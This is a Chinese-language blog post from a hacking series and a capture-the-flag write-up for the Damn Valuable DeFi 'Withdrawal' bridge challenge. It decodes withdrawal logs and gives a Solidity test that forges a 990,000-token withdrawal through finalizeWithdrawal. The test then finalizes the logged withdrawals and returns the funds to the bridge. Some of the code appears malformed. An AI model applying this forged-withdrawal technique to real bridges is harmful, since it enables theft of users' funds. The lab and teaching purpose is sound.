iT邦幫忙

2024 iThome 鐵人賽

DAY 20
0

這是這篇 ctf 的最後一題了
前面的一題也需要 RPC URL,so pass XD

There’s a token bridge to withdraw Damn Valuable Tokens from an L2 to L1. It has a million DVT tokens in balance.

The L1 side of the bridge allows anyone to finalize withdrawals, as long as the delay period has passed and they present a valid Merkle proof. The proof must correspond with the latest withdrawals’ root set by the bridge owner.

You were given the event logs of 4 withdrawals initiated on L2 in a JSON file. They could be executed on L1 after the 7 days delay.

But there’s one suspicious among them, isn’t there? You may want to double-check, because all funds might be at risk. Luckily you are a bridge operator with special powers.

Protect the bridge by finalizing all given withdrawals, preventing the suspicious one from executing, and somehow not draining all funds.

Analyze WTF

這題的 test 路徑下多了一個 json 檔案,裡面紀錄了4筆 L2 上的 log 檔,通过 L2MessageStore.sol 可以得知如下:

event MessageStored(bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data);
  • topocs[1]: nonce
  • topocs[2]: caller
  • topocs[3]: target log 的 data 區域為 bytes32 id 、uint256 timestamp 和 bytes data

至於他們的 byte data 則是可以在從 L2Handler.sol 中找到線索

function sendMessage(address target, bytes calldata message) external {
    l2MessageStore.store({
        target: address(l1Forwarder),
        data: abi.encodeCall(L1Forwarder.forwardMessage, (nonce, msg.sender, target, message))
    });

    unchecked {
        nonce++;
    }
}

那我們可以簡單的對 log 進行 decode

baee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015
0000000000000000000000000000000000000000000000000000000066729bea
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000104
01210a38
0000000000000000000000000000000000000000000000000000000000000002
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000044
81191e51
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
00000000000000000000000000000000000000000000d38be6051f27c2600000  <-999000 ETH
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000

上面放的是第三個 log decode 出來的東西,很明顯是我們要找的東西

Solve WTF

我們會去調動的是 finalizeWithdrawal,這個 function 來達到我們的目的

test function

function test_withdrawal() public checkSolvedByPlayer {
// 構造一個假的提款操作來取得代幣
bytes memory message = abi.encodeCall(
    L1Forwarder.forwardMessage,
    (
        0, // nonce
        address(0), // 沒有指定發送者
        address(l1TokenBridge), // 目標為 L1 代幣橋
        abi.encodeCall( // 消息內容
            TokenBridge.executeTokenWithdrawal,
            (
                player, // 提款接收者為 player
                990_000e18 // 提取 990_000 DVT 代幣
            )
        )
    )
);

// 直接調用 l1Gateway 的 finalizeWithdrawal 來完成提款操作
l1Gateway.finalizeWithdrawal(
    0, // nonce
    l2Handler, // 假裝為合法的 L2 處理者
    address(l1Forwarder), // 目標為 L1Forwarder
    block.timestamp - 7 days, // 確保已經超過 7 天的等待期
    message, // 傳遞的消息內容
    new bytes32  //Merkle proof
);

// 假設我們是特殊運營者,直接完成 finalizeWithdrawal
// 將系統時間向前推 8 天,保證過了 7 天的等待期
vm.warp(1718786915 + 8 days);

// 完成第一個 finalizeWithdrawal 操作
l1Gateway.finalizeWithdrawal(
    0, // nonce 0
    0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // L2 發送者地址
    0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // 目標地址
    1718786915, // 操作的時間戳
    hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", 
    new bytes32  //Merkle proof
);

// 完成第二個 finalizeWithdrawal 操作
l1Gateway.finalizeWithdrawal(
    1, // nonce 1
    0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // L2 發送者地址
    0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // 目標地址
    1718786965, // 操作的時間戳
    hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", 
    new bytes32  //Merkle proof
);

// 完成第三個 finalizeWithdrawal 操作
l1Gateway.finalizeWithdrawal(
    2, // nonce 2
    0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // L2 發送者地址
    0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // 目標地址
    1718787050, // 操作的時間戳
    hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", 
    new bytes32  //Merkle proof
);

// 完成第四個 finalizeWithdrawal 操作
l1Gateway.finalizeWithdrawal(
    3, // nonce 3
    0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // L2 發送者地址
    0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // 目標地址
    1718787127, // 操作的時間戳
    hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", 
    new bytes32  // 不提供 Merkle proof
);

// 最後將提取的 DVT 代幣轉移回 L1TokenBridge 合約
token.transfer(address(l1TokenBridge), 990_000e18);
console.log("L1TokenBridge 中的 DVT 餘額:", token.balanceOf(address(l1TokenBridge)));
}

https://ithelp.ithome.com.tw/upload/images/20241004/20163009rPs4R6wmow.png

每日梗圖(1/1)
jiji


上一篇
Day 19 - Shards_大石碎胸口
下一篇
Day 21 - Airmon-ng_我不當人啦 JOJO
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言